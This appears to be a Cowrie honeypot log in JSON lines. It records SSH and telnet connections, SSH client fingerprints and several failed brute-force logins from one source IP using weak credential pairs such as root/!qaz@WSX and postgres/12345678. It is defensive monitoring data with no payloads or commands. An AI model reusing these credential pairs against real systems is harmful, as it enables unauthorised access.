{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:22.294473Z","src_ip":"192.109.200.237","session":"4f334032962f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32902,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b205a320e26","protocol":"ssh","message":"New connection: 192.109.200.237:32902 (159.203.135.109:22) [session: 9b205a320e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:24.164837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:24.169426Z","src_ip":"192.109.200.237","session":"9b205a320e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:24.251695Z","src_ip":"192.109.200.237","session":"9b205a320e26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52510,"dst_ip":"10.17.0.5","dst_port":23,"session":"1440079c4335","protocol":"telnet","message":"New connection: 50.6.8.71:52510 (10.17.0.5:23) [session: 1440079c4335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:24.276713Z"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:24.497637Z","src_ip":"192.109.200.237","session":"9b205a320e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:25.583068Z","src_ip":"192.109.200.237","session":"9b205a320e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.691999197006226,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:27.270759Z","src_ip":"50.6.8.71","session":"38f2e74f0511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32916,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e2e5cff2ff0","protocol":"ssh","message":"New connection: 192.109.200.237:32916 (159.203.135.109:22) [session: 2e2e5cff2ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:27.630865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:27.635123Z","src_ip":"192.109.200.237","session":"2e2e5cff2ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:27.716822Z","src_ip":"192.109.200.237","session":"2e2e5cff2ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:28.018878Z","src_ip":"192.109.200.237","session":"2e2e5cff2ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:29.103541Z","src_ip":"192.109.200.237","session":"2e2e5cff2ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.565677642822266,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:29.250485Z","src_ip":"50.6.8.71","session":"a0a07fd6f929","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57558,"dst_ip":"159.203.135.109","dst_port":22,"session":"50539a6da049","protocol":"ssh","message":"New connection: 192.109.200.237:57558 (159.203.135.109:22) [session: 50539a6da049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:30.881531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:30.886640Z","src_ip":"192.109.200.237","session":"50539a6da049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:30.970803Z","src_ip":"192.109.200.237","session":"50539a6da049","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:31.222199Z","src_ip":"192.109.200.237","session":"50539a6da049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42572,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f318e9630f8","protocol":"telnet","message":"New connection: 50.6.8.71:42572 (10.17.0.5:23) [session: 2f318e9630f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:31.892719Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:32.421705Z","src_ip":"192.109.200.237","session":"50539a6da049","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57568,"dst_ip":"159.203.135.109","dst_port":22,"session":"431b77db9210","protocol":"ssh","message":"New connection: 192.109.200.237:57568 (159.203.135.109:22) [session: 431b77db9210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:34.332187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:34.337163Z","src_ip":"192.109.200.237","session":"431b77db9210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:34.423712Z","src_ip":"192.109.200.237","session":"431b77db9210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:34.701330Z","src_ip":"192.109.200.237","session":"431b77db9210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:35.788934Z","src_ip":"192.109.200.237","session":"431b77db9210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57586,"dst_ip":"159.203.135.109","dst_port":22,"session":"b38fb7e7d8e2","protocol":"ssh","message":"New connection: 192.109.200.237:57586 (159.203.135.109:22) [session: b38fb7e7d8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:37.915343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:37.919960Z","src_ip":"192.109.200.237","session":"b38fb7e7d8e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:38.003122Z","src_ip":"192.109.200.237","session":"b38fb7e7d8e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:38.249488Z","src_ip":"192.109.200.237","session":"b38fb7e7d8e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:39.334682Z","src_ip":"192.109.200.237","session":"b38fb7e7d8e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38924,"dst_ip":"159.203.135.109","dst_port":22,"session":"29d4c9767e95","protocol":"ssh","message":"New connection: 192.109.200.237:38924 (159.203.135.109:22) [session: 29d4c9767e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:41.213573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:41.218405Z","src_ip":"192.109.200.237","session":"29d4c9767e95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.88833665847778,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:41.226911Z","src_ip":"50.6.8.71","session":"154f68d53736","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:41.304722Z","src_ip":"192.109.200.237","session":"29d4c9767e95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:41.551966Z","src_ip":"192.109.200.237","session":"29d4c9767e95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:42.706228Z","src_ip":"192.109.200.237","session":"29d4c9767e95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.032023906707764,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:44.083085Z","src_ip":"50.6.8.71","session":"04d558346705","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38938,"dst_ip":"159.203.135.109","dst_port":22,"session":"46721db6cf69","protocol":"ssh","message":"New connection: 192.109.200.237:38938 (159.203.135.109:22) [session: 46721db6cf69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:44.479531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:44.484625Z","src_ip":"192.109.200.237","session":"46721db6cf69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:44.566951Z","src_ip":"192.109.200.237","session":"46721db6cf69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:44.813685Z","src_ip":"192.109.200.237","session":"46721db6cf69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:45.899553Z","src_ip":"192.109.200.237","session":"46721db6cf69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38940,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0f286e81932","protocol":"ssh","message":"New connection: 192.109.200.237:38940 (159.203.135.109:22) [session: a0f286e81932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:47.956773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:48.000506Z","src_ip":"192.109.200.237","session":"a0f286e81932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:24:48.046253Z","src_ip":"192.109.200.237","session":"a0f286e81932","protocol":"ssh"}
